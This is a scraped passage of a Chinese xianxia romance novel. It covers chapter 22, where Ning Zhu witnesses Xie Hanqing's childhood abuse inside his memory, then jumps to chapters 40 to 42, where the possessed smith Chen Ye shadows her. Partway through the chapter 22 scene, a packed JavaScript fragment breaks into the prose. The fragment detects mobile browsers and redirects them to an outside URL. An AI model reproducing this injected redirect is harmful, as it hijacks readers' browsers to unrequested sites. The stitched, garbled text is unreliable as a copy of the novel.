宁竹的识海安静了一瞬,海水忽然沸腾起来,如同落入熔岩的滚水,扭曲着,挣扎着,发出尖锐的鸣叫。 天幕倾倒,瓢泼大雨如注,汹涌的海浪几乎与天齐高,一波一波想要将那颗心脏碾得粉碎。 宁竹的识海开始摇晃,坍塌,周遭出现了裂缝,海水从缝隙中溢出,愤怒的闪电撕裂天幕,一切都变得混沌不堪,仿佛下一刻就要发生一场剧烈的爆炸,让一切都化为烟尘。 无数飞旋的片段从识海中划过,如同流星坠落在沸腾的海水中。 沉浸在海底深处的意识渐渐苏醒,一个水凝成的“宁竹”如同人鱼荡出水面。 她跟着海水浮沉,遥遥看着海面上颠沛起伏的孤舟,以及孤舟中那位熟悉的小仙君,如同一尾灵活的游鱼游了过去。 将他赶出去,就不会难受了。 可是他蜷缩在孤舟之上,发带散乱,支离破碎,仿佛随时就要湮灭。 宁竹在他身边游了一圈:“谢寒卿?” 自然无人回应,谢寒卿的元神变得几近透明,胸膛处汩汩流动的金光四散在空气中,如同流萤。 宁竹蹙眉,抬起手指,轻轻点了点那些金光。 下一秒,一股强大的力量将她拽了过去。 天旋地转间,宁竹重重跌坐在地上。 眼前已然换了景象。 雨如泼墨,堂前花枝冷艳,一个不过七八岁的孩童跪在阶前,身上白衣渗出血红痕迹。 宁竹盯着那张冰雕雪刻的精致小脸,愕然瞪大眼。 ……这人,俨然是缩小版的谢寒卿? 22. 第 22 章 宁竹发现这是一段记忆。 谢寒卿看不见她,她有些纳闷,自己不是被那红丝上了身吗?怎么现在会在谢寒卿的记忆里? 雨如泼墨。 有人路过被罚跪的谢寒卿,叹气:“寒卿,跟你爹认个错吧,你爹的书房乃是禁地,你怎么能轻易闯入,也难怪他要大发雷霆。” 年幼的孩童眼睫微敛,面无表情。 那人摇了摇头,转身离开。 宁竹飘过去,蹲在小谢寒卿面前,托着下巴打量他身上的鞭伤,打了个冷战:“你爹下手也太重了吧。” 宁竹试图用灵力帮他治疗,但根本接触不到他的身体,只好放弃。 她撅起嘴,轻轻朝着他的伤口吹了吹,一边嘟囔:“家暴男,对自己小孩下手也这么重。” 谢寒卿自然无法回应她,宁竹一时半会也出不去,只好蹲在一旁陪着他。 宁竹蹲了一会儿,觉得很无聊,用灵力幻化出一把雨伞,举在谢寒卿头上。 可惜了,没有作用,小仙君还是被淋得浑身湿透。 宁竹叹了一口气。 这场绵密的雨下个不停,宁竹打了个哈欠,对他说:“听说梦京冬天到处都开着落凰花,梦京多雪,遍地洁白,落凰花如火,两相交映霎是好看。” “什么时候有机会,我要去梦京看一看这样的美景。” 话音落,门扉开合,一个身量颀长,眉心笼着一道深深折痕的中年男子出现在门口。 他居高临下,冷冷睨着谢寒卿。 宁竹霎时来了精神,家暴男原来长这样。 谢凌风声音低沉,如同从腹腔发出:“你可知错。” 年幼的谢寒卿抬起已经初现冷峻轮廓的眉眼:“无错。” 宁竹注意到谢凌风脖子上的青筋跳了下,忙伸手戳他脊梁骨:“你道歉啊,快服个软,跟家暴男有什么好硬刚的!” 谢凌风脸色阴沉下来:“谢家人皆知我的书房乃是禁地,你不仅偷溜进去,更是开启了暗牢,偷窥我的秘密。” “谢寒卿,若非你是我谢家人,今日你已活不成了。” 宁竹只觉得这话怪怪的,哪像一个父亲会对儿子说的话。 他冷冷说:“你在此处跪满十二个时辰。” 见他转身,小谢寒卿忽然质问道:“……那个人,才是我生父。” 他看见了留影石,看见了暗牢中囚禁着一个人——那个被谢家宣称幼时练功走火入魔成了疯子的二叔谢平阳。 也看见了自己的母亲,是如何偷偷溜到暗牢中,给他送去伤药和饭食。 天际一道暗雷滚过。 谢凌风的脸被映得青紫交加,异常恐怖。 他忽然逼近小谢寒卿,掐住他的脖子,眼球外凸,喉咙里发出古怪的声腔:“你看到了多少?” 宁竹惊呼一声,忙去抓谢凌风的手,可惜她如同魂体,无法触碰他半分。 小谢寒卿被他掐着脖子高高举起,双脚离地,他面色涨红,但眼神依然清冷:“那个人……是我生父,对不对?” “……你们,杀了他和我母亲……” 谢凌风怒吼:“你看到了多少!” 小谢寒卿的脸色已然变紫,他眼眶充血,还在重复:“你……杀了她……” “她……不是……病逝……” 宁竹疯狂地去攻击谢凌风:“你放开他!放开他你个疯子!” 谢凌风忽然松开了手。 小谢寒卿如同一片落叶划在地上。 宁竹刚刚松了口气,小谢寒卿的身体忽然抽搐起来,孩童眼神失焦,茫然地盯着灰白的天空。 谢凌风五指张开,似乎在翻找着什么。 宁竹倒吸一口凉气,搜神术? 谢凌风他疯了!!搜神术乃是禁术,况且对这么小的孩子用搜神术,很可能会对他的神魂造成伤害! 宁竹气得对谢凌风抛出一个又一个的法术,最后甚至抓起一旁的石头朝他砸过去:“神经病!杀人犯!” 谢凌风很快垂下手来。 小谢寒卿七窍流血,在雨水堆积的白玉阶梯上缓缓蜷起身子。 雨水打在他脸上,殷红的血如同滴入水中的墨迹,缓缓四散开,将他的白衣染得一片刺目。 谢凌风满意地勾起唇角,似乎在为谢寒卿没有窥探到更多秘密而满意。 他如同施舍一般朝着谢寒卿身子里注入灵力,孩童失焦的眼慢慢恢复了清明,只是身子还在轻轻抽搐。 谢凌风走过去,蹲下身,缓缓拍了拍他的脸。 “孽种,听着。” “没有人杀了你的母亲,是你的生父,我那个天生邪魔的好弟弟,掳走了你的母亲。” 谢凌风眼神中露出恨意:“我的发妻,姜家的大小姐,和我那个天生邪魔的弟弟苟且之下有了你,又跟他私奔了,说出去岂不是要让天下人耻笑?” “自然只能对外宣称她死了。” “谢寒卿,你记住,你的母亲背叛了我,若非你是我谢家血脉,有怎么可能让你活到今日?” 谢凌风起身,取出锦帕将手上的血一点点擦干净,随手将帕子扔在他身上:“谨记你的身份,世人皆知你是我谢凌风的儿子,别丢了谢家的脸。” 他转身要走,忽然被人抓住脚腕。 小谢寒卿气若游丝,声音嘶哑:“她……在哪?” 谢凌风微微侧了下脸,天幕黯淡,他的神情亦晦暗不明。 “他们最后的踪迹,在归墟附近。” “归墟五十年开一次,但对于魔来说,要进入归墟,并无屏障。” 谢凌风眉心折痕似乎微微舒展开,他用一种蛊惑的语气对谢寒卿说:“若是恨她不贞,何不亲自入归墟,杀了这对奸夫□□?” 谢凌风对他微笑:“杀了他们,你的父亲,便只有我一人,不是么?” 他起身离开。 小谢寒卿仰面倒在台阶上,不知在想什么。 宁竹抹掉脸上的泪,蹲在他旁边,絮絮叨叨说:“谢寒卿,那个神经病说的话你别信,他那样的人,谁会喜欢,你的母亲和你的生父定然是相爱的……” 雨水已经洗净了他脸上的血迹,小小仙君脸色苍白,眼瞳颜色很淡,如同一只破布娃娃躺在地上。 宁竹叹了一口气,继续撑着灵力幻化的伞,傻乎乎遮在他头顶。 她轻声说:“没事的,以后你会名扬天下,众人敬仰,眼下的这些……不过是一些注定会过去的回忆。” 宁竹知道他听不见,但还是想把心底话说出来。 “你那么厉害,不是因为你姓谢,而是因为你就是你。” “跟你流淌着谁的血脉没有关系的。” “是吗?”忽然有一道声音横插进来。 宁竹吓得几乎蹦起来,却见谢寒卿不知何时已经半撑着身子坐起来了。 小谢寒卿的眼瞳很淡,不似寻常孩童天真无邪,不谙世事,有种超越年龄的冷静。 他有些困惑地看着她:“你是谁?我不认识你。” 宁竹毛骨悚然。 这合理吗?闯入别人的记忆,还能进行交互,怎么也不是件正常的事。 宁竹转头就要跑。 小谢寒卿却伸手拽住了她的衣摆。 宁竹冷汗都要下来了,她脚步微顿,回过身对他说:“你在做梦,我是你梦中想象出来的。” “我要走啦,你放开我好不好?” 小谢寒卿没有松开手,他只是用那双没什么情绪的眼睛看着她:“既然你是我想象出来的,我说什么你都会做?” 宁竹看着他满身的伤,心忽然软了下。 虽然不知道为什么会发生这么诡异的事,但她不会伤害他,不是么? 于是宁竹蹲下身子来,轻轻揉了揉他的头发,温柔道:“嗯。” 小谢寒卿垂下纤长的眼睫,他似乎在犹豫。 片刻后,他说:“我很痛,你可以抱抱我吗?” 宁竹怔了怔,弯起眼睛笑了下:“可以呀。” 她朝他张开双臂。 小谢寒卿似乎在扭捏,宁竹主动往前倾身,按住他小小的背脊,将人拢入怀中。 真是奇怪的感觉。 高大的小仙君,如今只是一个孩童,那么软……像只幼猫一般。 宁竹看到他时常带着的那根发带有些散了,腾出手想帮他重新系一下。 指尖刚刚触上发带,怀中的小谢寒卿忽然如同一道飘忽的影,开始变得透明。 宁竹大惊:“谢寒卿!” 周遭一切都开始扭曲,融化,坍塌,坠入无尽深渊,仿佛有一股巨大的吸力,要将怀中之人也拉走。 宁竹直觉不对,死死抱着他,起身往还没有坍塌的地方逃。 她脚下忽然一空,两人直直往下坠落。 眼看就要被无边黑暗湮灭,宁竹忽然以灵力化出一柄飞剑,将两人托住。 小谢寒卿指着一个溢满金光的洞:“那里。” 宁竹咬牙切齿抱着人往洞口飞,但那洞口又高又远,仿佛怎么也够不到。 脚下是万丈深渊,宁竹不敢回头多看一眼,用尽力气往洞口飞。 小谢寒卿软软地圈住她的脖颈,轻声说:“你会带我出去吗?” 宁竹心想,如果出不去他们两个就要死在这里了啊! 她调动所有灵力维持身下飞剑,喉头泛起血腥味,四肢百骸像是被一遍遍碾过。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16912833|192126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 近了。 就一点点了! 眼看那个洞口在一点点缩小,宁竹目眦欲裂,将怀里的小谢寒卿如同抛皮球一般朝着洞口抛了出去! 小谢寒卿回头看她,忽然伸出手:“宁竹,拉住我。” 她来不及纠结为什么小谢寒卿忽然知道她的名字了,忙抓住他的手。 两人一同穿越了光洞,苍穹崩塌,山河倒转,亿万颗流星在他们身边划过。 小谢寒卿的眼眸被星光映得一片明亮,他对她说:“宁竹,我是你的了。” 他的身体变得透明如冰。 宁竹眉心一凉,怀中的小谢寒卿已然消失不见。 宁竹的识海。 时间仿佛凝固了一刹。 如同倒放一般,海水从缝隙中倒灌,天际的云在迅速流转,识海忽然开始纷纷扬扬下起雪来。 他们的元神,融合在了一起。 压制红丝的元神撤出,一股新生的力量从四面八方涌来,再次将红丝压制起来。 ……他成功了。 谢寒卿哇地吐出一口血来。 雪落如红梅,星星点点溅在两人的衣襟处。 识海之内的孤舟上,谢寒卿的心脏处已经不再往外溢出金光。 他凝出一床柔软的被褥,将昏迷的少女放在上面。 飞舞的雪花慢慢聚集在一起,变成小谢寒卿的模样。 他坐在孤舟边缘,扭头问谢寒卿:“你要把我留在这里?” 谢寒卿看了一眼昏睡中的少女:“否则她会死。” 小谢寒卿也盯着宁竹看,一大一小两人,拥有同样淡漠的眼瞳。 小谢寒卿:“你暴露了最深的秘密。” 谢寒卿沉默片刻,眼睫轻轻颤了下:“她不会记得。” “不许让她知道你的存在,我走了。” 小谢寒卿亦没有回应,很快化作满天飞雪。 谢寒卿撤出识海,垂眸看着宁竹。 片刻后,他抹掉她身上溅上的血迹,无声离开。 落月轩外,一人隐在暗处,看着谢寒卿推门而出,眼神中跳动着异样的光。 谢寒卿离开后,江似闪身进了屋。 宁竹仍在昏迷,江似警惕地检查了一番周围,确定没有谢寒卿布下的阵法,才走到她身边。 窗外月华清浅,莹莹光辉笼罩在少女的眉眼之上,她整个人看上去柔软无害,仿佛一朵开在枝头任人采撷的花。 江似抬手探入她的灵丹,面上划过一丝讶异。 ……谢寒卿的元神不见了,但红丝还在。 他方才到底对她做了什么? 然而眼下不是细究此事的时候,他的机会……来了。 江似肉眼可见兴奋起来。 方才他一直在想,该用什么方法才能在保存宁竹性命的情况下取出红丝? 他很快有了答案。 以宁竹的体质,她克化不了这些红丝,红丝在她体内百害而无一利。 而他不一样。 生取红丝不可行,红丝已经缠入她的骨骼经脉,与融为一体。 但他可以将她的肉身炼化。 不过是一具皮囊。 只要保存好她的神魂,他会亲自给她制作一具身体。 一具水火不侵,比现在强上一百倍的身体。 谢寒卿的元神是唯一的麻烦,但现在,阻碍没了。 只要做得小心些,便不会惊动到他。 江似已经等不及了。 他现在就要将她的身体描摹下来,等一回天玑山,他便动手。 江似的指尖触上宁竹衣带,轻轻一挑。 外衫滑落,光滑莹白的肩仿佛敛着月华,盈盈一握,轻易便能碾碎。 江似眼角一跳,喉头发紧。 似乎是察觉到冷,昏睡中的少女发出一声细碎的嘤咛。 江似险些跳起来。 片刻后,他咬牙切齿摸出一条发带缠在了自己的眼睛上。 眼前一片黑暗,躁动的心似乎也微微沉稳了些。 江似的手指触上她纤细的脖颈,沿着锁骨往两侧划去。 江似的识海之中,黑雾随着指尖的移动一寸寸凝出对应的形状。 指尖划到肩头,圆润,丰盈,纤细漂亮的骨触感微硬。 再往下滑…… 江似额角青筋直跳,忽然停顿住。 片刻后,他封闭了自己的五感,继续落下指尖。 然而就在这一刹,一道剑意忽然横扫而来,将江似重重击飞! 刚刚寻来的固神丹掉落在地。 谢寒卿瞬移到宁竹榻边,剑尖抵住江似的脖颈,声音冰寒:“你在做什么。” 40-45 第41章 凡人若是也想在修真界混得如鱼得水, 必得掌握一门手艺。 就比如幽冥集市这家陈家武器铺。 为什么叫武器,不叫法器,便是因为这铺子用的都是凡人能用的材料,锻造出的武器凡人也用得。 至于这么一家铺子又何能开在修真界, 便与这家铺子的定价脱不开干系了。 法器极贵, 若是还想寻到器修帮着定制一把与自己相衬的法器, 那便是天价了。 但这陈家铺子不同, 一把根据修士自身特性和使用习惯定制的武器, 也只不过才要几百灵石。 凡人无法炼化蕴含灵气的材料, 修士在这陈家铺子买好成形武器后, 自个拿回去加一两个材料炼化一番,便是一件法器了。 与正儿八经的法器比不得, 但价格实在便宜。 这天下的修士不是人人都能拜入大宗门,穷苦修士多如过江之鲫, 陈家这生意, 便也这么延续了下来。 魔渊开口,四处魔气横生,幽冥集市人人自危,生怕被魔修抓走。 偏这陈家铺子最近出了个大喜事, 陈掌柜的小儿子小炎,测出来灵根。 陈家人关门闭户好好庆贺了一番,再开门时,陈掌柜那叫一个面色红润,喜上眉梢。 众人不得不心生艳羡, 瞧瞧人家,正逢乱世,便出了个争气的儿子。 今日看铺子的是陈掌柜的长子, 一个清瘦沉默的少年。 相熟的客人路过陈家武器铺,探头看了一眼:“小野,你爹爹不在啊?” 陈野正捶打着一柄薄薄的银刀,闻言头也不抬:“不在。” 陈野一贯是个内向的,客人也没想太多,摸摸鼻子离开了。 陈野低垂着头,一下又一下击打着手下银刀,叮叮当当声回荡在铺子中。 日渐西斜,华灯初上,幽冥集市渐渐热闹起来。 陈家铺子里的打铁声断断续续没有停过。 “陈掌柜!”忽有少女娇俏的嗓音传来。 陈野手下一顿,打铁声停了。 今日是十五,大集。 她果然来了。 宁竹探头看了一眼铺子里,咦了一声:“陈野哥,陈掌柜不在啊?” 也不是每次捡漏都能捡到好东西的,有不少材料灵气早已溢出,变得普普通通。 所以她常来陈家铺子卖些材料,陈掌柜人还不错,给的价钱公道,每个大集宁竹来这里走一圈,也能有不少进项。 她听说陈掌柜的小儿子小炎前段时间测出了灵根,这可是个大喜事,宁竹还特地准备了一份小礼物带着来呢。 背对她的陈野听到动静,慢吞吞回过头来。 宁竹立刻将手中的小盒子递过去:“陈野哥,听说你弟弟测出了灵根,恭喜啊,我准备了一枚开息丸,有助于刚开始练习吐纳。” 江似透过陈野的眼睛看着台阶下方的少女。 她身后长街,星星点点的光交织拉扯成模糊的一片,如同漂浮的星河。 檐角风灯转动,光影斑驳,宁竹周身沐浴在暖色的光里,发丝都被染成金黄色,眼眸里也像是落了点点融金。 她面上带着轻快的笑,眼角微微弯起,像是两轮月牙。 似乎自己沉默的时间太长,少女脸上的笑一点点淡去,变成了有点局促的表情:“那个,陈,陈野哥,我先把东西放这里了。” 江似一眼便瞧出来她在想什么。 无非当着一个凡人给他被测出灵根的弟弟道贺,而他迟迟没有回应,让她以为惹了对方不高兴。 在她提步要走的那一刻,江似唤住她:“谢谢。” 宁竹脸上便又浮现出笑意。 江似紧跟着说:“不卖东西吗?” 宁竹观察着他的表情。 陈野好像一直是这样沉默寡言,没什么表情,看来是自己多心了。 于是宁竹笑道:“要卖的。” 陈野:“进来吧。” 宁竹便从侧门进了铺子,她掏出乾坤袋,很快桌案上便铺开了各种材料。 宁竹说:“我分拣过,都是些品质尚可的,陈野哥你瞧瞧。” 少年的目光却落在她的手腕上。 随着她方才动作,一条秀气的银链从衣袖里滑出。 细链圈着少女白皙的手腕,衬得她的腕骨精致又漂亮。 宁竹随手将袖子拉下来挡住拘银链,问江似:“还是陈野哥要等陈掌柜来再算价?我也可以先把这些东西放在这里,等下个大集再来取灵石。” “不必,我现在就算。”他声音有点哑。 片刻后,宁竹收好新赚得的一千灵石,笑盈盈说:“陈野哥,那我先走啦。” 她礼貌地点点头,推开门蹦蹦跶跶跳下台阶。 门扉在面前合上,遮住少女轻快的身影。 江似心重重一沉,在宁竹的身影彻底消失之际,他迅速推开门,默不作声跟在了少女身后。 陈家武器铺是宁竹最后一家光顾的铺子,宁竹算了下,这一趟自己足足赚了两万多灵石。 她心情大好,但一想到一会儿要去的地方,又蔫了下来。 赚钱不易花钱容易啊! 宁竹对幽冥集市轻车熟路,一会儿便沿着几个巷道来到了一条偏街。 进入偏街前,她特地带上了一枚面具,将自己的容貌严严实实遮挡起来。 而她身后的江似已经没办法再明晃晃地跟人了,而是化作一缕缥缈的黑雾,散在夜色中,漂浮在宁竹头顶。 见宁竹熟门熟路拐进一家卖药材的铺面,他疑窦丛生,收药材价格最公道的地方是太素阁,往日他们有药材要卖,都会直接去那里。 不是卖药材的话,宁竹要做什么? 宁竹和掌柜嘀嘀咕咕说了几句话,掌柜领着她上了二楼。 江似无声跟了进去。 二楼有一间古怪的屋子,屋子里光线很暗,一整面墙壁上都放着形状各异的颅骨,幽绿的光从骷髅的眼睛处往外渗。 墙壁下放着一张桌案,一个长相可怖,额头硕大,头发稀疏的老妪坐在摇椅上,闭眼吸着一杆烟。 掌柜说:“殷娘,有客人。” 被唤作殷娘的老妪掀开眼睨宁竹一眼,枯瘦如柴的手指点点桌案。 宁竹将早已准备好的一万灵石放了上去。 殷娘古怪地笑了一声:“倒是上道。” 她的嗓子像被火燎坏了一般,沙哑不堪,尾调尖锐:“说吧,要打听什么?” 宁竹小心翼翼从乾坤袋里摸出一卷画轴。 画轴展开,一个少年跃然于纸上。 蛰伏在暗处的江似呼吸凝固。 画卷之上,画着一个少年。 马尾高束,恣睢又阴沉,银白交织的发披散在他空荡荡的一只袖子上。 宁竹指着画:“我要找一个人,长这样,他的左臂和双腿可能断了。” “可能?”老妪重复道。 “是,我不确定他现在到底是双腿和左臂残缺的状态,还是正常模样。” 老妪看她一眼:“大致方向有么?” 这一次宁竹沉默了片刻:“在魔域,他……应该是魔修了。” 老妪发出森然的笑声:“魔域找人可不容易。” 她肮脏扭曲的指甲在桌案上点了点。 宁竹又放了一万灵石上去。 不料那老妪却说:“魔域找人,你得给这个数。” 她伸出十个指头。 宁竹呛了下:“十万?!” 可这殷娘是她好不容易打听来的,据说没有她打听不到的人。 宁竹只好说:“我现在身上没带那么多灵石,我回去取一趟。” 殷娘眯了眯眼:“你那剑不就值十几万灵石?” 宁竹将流烟剑抓紧了些:“这个不能卖。” 那老妪又说:“手上的链子总舍得了吧?” 宁竹不知道她怎么看到拘银链的,脸色一冷:“买卖讲究一个你情我愿,这些东西我不能拿来抵灵石。” 她抓起桌上的画轴,转身离开。 老妪阴森可怖的笑声在背后响起:“小姑娘做事不诚实,敢带人进来,还想这么轻飘飘地离开?!” 她话音一落,满墙的骷髅忽然光亮大作,阴风四起,宁竹转眼之前便被骷髅围成的阵法困住! 殷娘道:“乖乖把你身上值钱的东西留下,人,我帮你找,命,也给你留着。” 宁竹就算脾气再好这会儿也生气了:“真是打得一副好算盘!” 她从乾坤袋中掏出一件高阶防御法器,法器很快化为一道柔和的金光将她浑身罩住。 宁竹再摊开手,一枚通体黢黑的飞镖状法器出现在掌心。 惊雷镖,高阶攻击法器,价格也不算高昂,唯一的缺点是在攻击时会施加大量雷暴,无差别攻击所有人。 要用这东西,必须得配上一个高阶防御法器。 宁竹有点心疼,但还是麻溜地拿出来准备使用。 她既然敢踏入此处,自然是做好了准备。 正当她打算掷出惊雷镖的时候,阵法外忽然传来一道响! 空气中安静了片刻,那些骷髅骨霎时失去了光芒,噼里啪啦散了一地。 宁竹抓着惊雷镖,目瞪口呆看着倒在地上口鼻流血,已然没了生气的殷娘。 她想起殷娘的话,带人进来?她带什么人进来了? 宁竹环顾周围,空荡荡一片。 屋子里常年不通风生出的难闻气味与血腥味味交织在一起。 她毛骨悚然,转头便跑! 下楼时宁竹脚下踢到了什么,她低头一看,方才领她上来的掌柜同样口鼻流血倒在地上。 宁竹心中一骇,跑得更快了。 救命啊她是不是招进来什么脏东西了! 宁竹一路狂奔,一口气跑出那条阴暗的偏街,直到撞到一个人,才吃痛地抬起头。 “陈野哥?” 清瘦的少年垂眸看着她:“宁仙子,怎么跑得那么急?” 宁竹上气不接下气,的确狼狈。 她抹了把额发,退到一边调息,到底是修士,宁竹很快便恢复了正常。 她有点尴尬:“没事,陈野哥,你怎么在这?” 江似在看她。 少女的脸颊染着一层浅浅的粉,眼眸如同起了雾的湖,朦胧湿润。 她手中还紧紧抓着自己的画轴,哪怕是那样的情况,都没有忘记这幅画么? 听到她在寻找他时的情绪再度翻涌而上,如同汹涌的海水,将他淹没,叫他几乎无法呼吸。 宁竹忽然觉察到眼前的少年有点古怪。 他的眼眸变得极为幽深,他定定看着她,紧抿的唇似乎要说些什么。 两个路人从他们身边经过。 “……该死的魔修,望月轩的老板娘可是个好人!何至于将人……” 他重重叹气:“真是一群猪狗不如的畜生!” “魔修本就是逆天行事,蝇营狗苟的一群人,何谈人性?那老板娘也是倒霉……” 两个路人远去。 江似的睫毛很轻地颤抖了下。 “我是想问,宁仙子吃不吃酪子?” 宁竹怔了下:“啊?” 仿佛一开口,那些压抑的,汹涌的情绪便都散了。 还不是时候。 江似收敛好情绪,用乌黑的眼望着她:“我是出来给小炎买酪子的,西街那边有家老字号,味道很好。” “宁仙子想吃吗?我请你。” 那家酪子宁竹知道!价格卖的不算便宜,但用料实在,味道也好,宁竹从前嘴馋偶尔会去吃上一碗。 想到陈家最近的喜事,宁竹也不好驳了别人的好意,于是她点头:“好呀。” 两刻钟后,两人坐在了铺子中。 宁竹面前是一大碗抹茶红豆牛乳酪。 红豆熬得又软又烂,入口即化,酪子冰凉香甜,一口下去美得眼睛都能眯起来。 但江似发现宁竹好像一直心不在焉,她捻着手中银匙,有一下没一下地搅动着酪子,心事重重的模样。 江似开口:“宁仙子是有什么烦心事吗?” 其实两人只算有过几面之缘,还远远达不到谈心的程度。 但也不知道为什么,面前的少年让宁竹有一种莫名的信赖感。 宁竹想了想,陈家在幽冥集市已经扎根百年之久了,说不定除了殷娘,他还真的知道其他门道? 于是宁竹试探开口:“我有一个朋友,前些日子阴差阳错被魔气侵染,下落不明,如今也不知是生是死。” 她叹了口气:“若是他到了魔域,说不定还有一线生机,只听说魔域位置隐秘,如今没人知晓魔域到底在哪里,想要找人,无异于大海捞针。” 少年静静听她说着。 待到最后,他低声问:“是很重要的朋友吗?” 宁竹立刻点头:“自然。” 江似的心脏再度狂跳起来。 耳边似乎有人在蛊惑他:既然她那么焦心于你,为什么不告诉她真相?为什么不相认? 你在怕什么? 你到底在怕什么? 懦夫。 江似的声音变得很干涩:“可是宁仙子,听说堕为魔修后,人的性格也会大变……你还要找他吗?” 少女眼眸清亮:“他不会。” 陈野在看她,少年表情很淡,叫人瞧不出他在想什么。 这是江似的秘密,宁竹自然不会告诉外人。 但宁竹相信,哪怕江似变成了魔修,也不会像旁的魔修一样杀人放火无恶不作。 毕竟……他在天玑山的时候就已经可以自如地动用魔气了。 是的,宁竹已经猜到他那些古怪的力量,便是魔气。 江似身怀特殊,只希望他在那位恶名远扬的魔尊手下……也能过得好。 “那去找他吧。”少年的声音飘忽不定,像一阵风。 他直视着少女的双眼:“我听说渡过无妄海,就能抵达魔域。” 原来魔域在这里吗? 宁竹看书的时候跳过了太多细节,她忙问:“陈野哥可知道要横穿无妄海的话,需要多久?准备三只船足够吗?” 这海中定然蛰伏许多妖兽,她怕中途船损坏。 江似摇头:“无妄海不是海,而是一片沙漠。” 宁竹正在想穿越沙漠所必需的准备,便听他说:“进入无妄海的人,只要心中所愿足够强烈,魔尊……会听到你的心声。” 宁竹狐疑地盯着他。 江似笑了笑,面色坦然:“宁仙子与我家也相熟,我便不瞒你了。” 他将陈掌柜带着小炎前往魔域一事告诉了她。 他隐去了让陈掌柜为他所用的事,却刻意提及魔尊帮小炎化解魔气一事。 然而少女脸上只有震惊。 她似乎全然没将魔尊化解魔气的能力与江似在秘境中的表现联想起来。 江似有点失望。 宁竹的确很震惊。 ……这,这不像她在原著里看到的那个魔尊啊? 他人还怪好的? 少年眼眸平静看着她:“宁仙子现在可以相信我说的话了吧。” 宁竹只是有点懵。 难道原著还故意抹黑了魔尊不成?这差距也太大了? 但是对上少年坦诚的眼神,宁竹又什么话都说不出来了。 可能原著是站在正派的视角来展开的,所以魔尊是个大反派。 但这里到底不是纸片人的世界,所以魔尊性格有出入也很有可能? 宁竹很快说服了自己,她点点头:“陈野哥,谢谢你告诉我这些!” 江似沉默片刻:“……宁仙子何必要冒着风险前去寻找他,相比你去魔域寻找他,他来找你是更容易的事。” 宁竹微微睁大了眼,仿佛很奇怪他的话:“是我想得知他的消息,自然是要我主动去寻找他呀!” 她露出一点担忧的神色:“他失踪前情况不妙,可能……可能会受人欺负。” 宁竹一想到江似重伤在身,拖着一副残躯在魔域四处游荡就难受。 况且他魂灯都灭了,说不定就跟白暮一样,除了那副躯壳,已经被异化成了另一个人。 江似不知道她在想什么,但他的一颗心却像是被人握在了手中反复揉搓,酸胀不堪。 好想告诉她,你要找的人就在面前。 好想……将她带回魔域。 宁竹没有意识到,少年在不知不觉中慢慢靠近了她。 纤长的眼睫掩住那双黢黑的眼,以及眼眸中翻滚的野望。 “宁竹……” “宁竹。”另一道声音响起,冷冽得如同刺向他们的一柄利剑。 江似抬头,在看清来人时瞳孔轻轻一缩。 酪子铺对面的街角处,谢寒卿一身白衣,容色清冷,剔透浅淡的眼定定盯着他。 第42章 宁竹见是谢寒卿, 很是惊喜,她起身朝他跑过去:“谢师兄!你怎么在这!” 值此之际,江似无声从陈野身体中离开。 只是几息,谢寒卿再看向台阶上的少年, 方才那种古怪的感觉已经消失不见。 那少年沉默的看着他们两人。 宁竹笑盈盈对谢寒卿说:“谢师兄, 这是陈野, 我常来陈野哥他家卖些材料。” 陈野哥。 某些阴暗的情绪再度攀爬而上, 谢寒卿几乎是下意识脱口而出:“这个时候了, 怎么还不回宗门?” ……被抓了个现形。 宁竹冲谢寒卿讨好地笑, 试图蒙混过关:“我这就打算回去。” 自从魔渊开口, 天玑山对弟子的管理也严格了起来。 除非领取了任务且记录在玉牒上的弟子,其余弟子亥时之前必须回宗门。 魔修多在夜间活动, 也是为了保护他们。 而现在已经快要到子时了。 谢寒卿看那少年一眼。 只是个凡人,不知为何方才会给他那么奇怪的感觉。 但谢寒卿一贯相信自己的直觉, 他不想让宁竹和他呆在一起。 于是他对宁竹说:“一起回去吧。” 那碗还没吃完的酪子在一点点融化, 食物交杂在一起,便没那么好看了。 陈野呆呆起身:“宁仙子再会。” 好像有那么一瞬,宁竹感觉面前的人和方才不大一样,但又似乎是她的错觉。 宁竹朝他招招手:“陈野哥, 今天谢谢你,我先走啦!” 陈野朝她点点头。 谢寒卿已经踏上了寒卿剑,宁竹正要抛出流烟剑,忽然被人伸手拉了一把。 宁竹反应过来的时候,已经被谢寒卿拥在身前了。 谢寒卿居高临下看了陈野一眼, 消失不见。 千里之外的魔域,江似坐在大殿中,面色阴沉。 他如今变得更为强大, 却也更容易被高阶修士发现。 方才若不是他乃是通过元神上身,恐怕已经被谢寒卿瞧出端倪了。 他虽然离开了陈野的身体,但还能通过陈野共感看到后续发生的事。 如此这般,就是谢寒卿也不会觉察出任何异样。 谢寒卿把宁竹拥在身前的那一幕反复在眼前出现,江似眼神阴翳,起身去了后殿。 片刻后,江似静静盯着银色液体中的骨架。 宁竹是自愿来找你的。 她也会愿意留在魔域。 如此这般……你便能与她长长久久在一起,不是么? 少年缓缓俯身,额头与骷髅相抵,颤抖着闭上眼睛。 冬末的风还带着刺骨的冷意。 谢寒卿捏了法诀,将两人笼罩起来,听不见风声,感受不到冷意,只有两人的呼吸此起彼伏。 宁竹一路上都在提心吊胆。 虽然已经这个时候了,但也保不齐还有同门在活动,万一被人撞见她和谢寒卿共御一剑多不好! 毕竟谢寒卿的剑……旁人一贯是碰不得的。 宁竹也不知道为什么会变成这样。 她一边觉得自己不应该和谢寒卿保持那么亲近的关系,一边又忍不住去想他那些不为人知的事。 每个朔月要遭遇的痛苦,以及……见不得光的身世。 谁能不心生怜悯? 宁竹也觉得自己好笑,操心谢寒卿做什么,谢寒卿还有很长的路要走呢,而自己…… 若是顺利,或许从归墟出来后她能找到回家的方法,若是不顺利,可能就被炮灰掉了。 当然,宁竹不是个悲观主义者,能活一天是一天,多活一天赚一天! 反正自己都只是谢寒卿漫长生命中的一个小小过客,那不如就趁自己还在的时候,开开心心和谢寒卿同行一段路吧。 别的她不能保证,但自己嘴严。 至少在她这里,谢寒卿的秘密不会有半点泄露出去的可能! 